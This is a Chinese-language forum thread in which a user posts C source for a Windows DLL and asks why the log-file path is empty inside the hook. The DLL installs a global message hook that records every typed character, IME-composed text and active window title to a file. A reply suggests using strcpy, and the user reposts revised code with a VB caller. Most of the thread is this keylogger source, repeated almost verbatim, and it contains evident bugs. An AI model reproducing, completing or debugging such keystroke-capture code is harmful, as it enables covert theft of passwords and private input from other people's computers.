#include "windows.h"
#include "stdio.h"HHOOK g_hHook = NULL;
HINSTANCE g_hHinstance = NULL;
HWND LastHwnd;char title[256];
char temptitle[256]="<标题:";
char t[2]={0,0};
char *fpath;
void writefile(char *lpstr)
{
FILE* f1;;
f1=fopen(fpath,"a+");
fwrite(fpath,strlen(fpath),1,f1);
fclose(f1); //FILE* f1;
//f1=fopen(lpstr,"a+");
//fwrite(lpstr,strlen(lpstr),1,f1);
//fclose(f1);
}void writtitle()
{
if(LastHwnd != GetActiveWindow())
{
writefile("\n");
GetWindowText(GetActiveWindow(), title, 256); //当前窗口标题
LastHwnd = GetActiveWindow();
strcat(temptitle,title);
strcat(temptitle,">\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
if(wParam == 1)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
break;
writtitle();
writefile(lpstr);
ImmReleaseContext(hWnd, hIMC);
}
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
if(wParam ==1)
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31)
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
} }
break; }
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}
BOOL __stdcall InstallHook(LPSTR p)
{
fpath=p;
writefile(fpath);
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}导出函数
EXPORTS
InstallHook
UnHook我想通过VB将路径通过installHook传入dll中,传值能成功,fpath的值等于传进来的路径,但只能在installHook函数里面有效,Hook后,writefile函数里面的fpath值为空,无法创建文本,请高手指教是什么问题?
#include "stdio.h"HHOOK g_hHook = NULL;
HINSTANCE g_hHinstance = NULL;
HWND LastHwnd;char title[256];
char temptitle[256]="<标题:";
char t[2]={0,0};
char *fpath;
void writefile(char *lpstr)
{
FILE* f1;;
f1=fopen(fpath,"a+");
fwrite(fpath,strlen(fpath),1,f1);
fclose(f1); //FILE* f1;
//f1=fopen(lpstr,"a+");
//fwrite(lpstr,strlen(lpstr),1,f1);
//fclose(f1);
}void writtitle()
{
if(LastHwnd != GetActiveWindow())
{
writefile("\n");
GetWindowText(GetActiveWindow(), title, 256); //当前窗口标题
LastHwnd = GetActiveWindow();
strcat(temptitle,title);
strcat(temptitle,">\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
if(wParam == 1)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
break;
writtitle();
writefile(lpstr);
ImmReleaseContext(hWnd, hIMC);
}
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
if(wParam ==1)
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31)
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
} }
break; }
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}
BOOL __stdcall InstallHook(LPSTR p)
{
fpath=p;
writefile(fpath);
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}导出函数
EXPORTS
InstallHook
UnHook我想通过VB将路径通过installHook传入dll中,传值能成功,fpath的值等于传进来的路径,但只能在installHook函数里面有效,Hook后,writefile函数里面的fpath值为空,无法创建文本,请高手指教是什么问题?
{
fpath=p;
writefile(fpath);
这里p是临时变量?之后到writefile函数里面时,这个p指向的内容已经不存在
直接用strcpy等类似函数把p指向的内容拷贝到一个全局数据组中
fpath=p; ===> strcpy(fpath, p);
#include "stdio.h"HHOOK g_hHook = NULL;
HINSTANCE g_hHinstance = NULL;
HWND LastHwnd;char title[256];
char *ftemp;
char temptitle[256]="<<标题:";
char t[2]={0,0};
char filepath;
char fpath[255];
void writefile(char *lpstr)
{
FILE* f1;
f1=fopen("C:\\66.txt","a+");
fwrite(fpath,strlen(fpath),1,f1);
fclose(f1);
}
void writtitle()
{
if(LastHwnd != GetActiveWindow())
{
writefile("\n");
GetWindowText(GetActiveWindow(), title, 256); //当前窗口标题
LastHwnd = GetActiveWindow();
strcat(temptitle,title);
strcat(temptitle,">>\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
if(wParam == 1)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
break; writtitle();
writefile(lpstr);
ImmReleaseContext(hWnd, hIMC);
}
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
if(wParam ==1)
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可见字符
{
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31)
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
} }
break; }
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}
BOOL _stdcall InstallHook(char *p)
{
strcpy(fpath,p);
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
Private Declare Function InstallHook Lib "Hook.dll" (ByVal p As String) As Long
Private Declare Function UnHook Lib "Hook.dll" () As Long
Private Sub Command1_Click()
MsgBox InstallHook("测试内容123")End SubPrivate Sub Command2_Click()
MsgBox UnHook
End Sub贴出了代码,到了writefile函数就成空值了,以上两种方法都试了,都不行,请高手指教。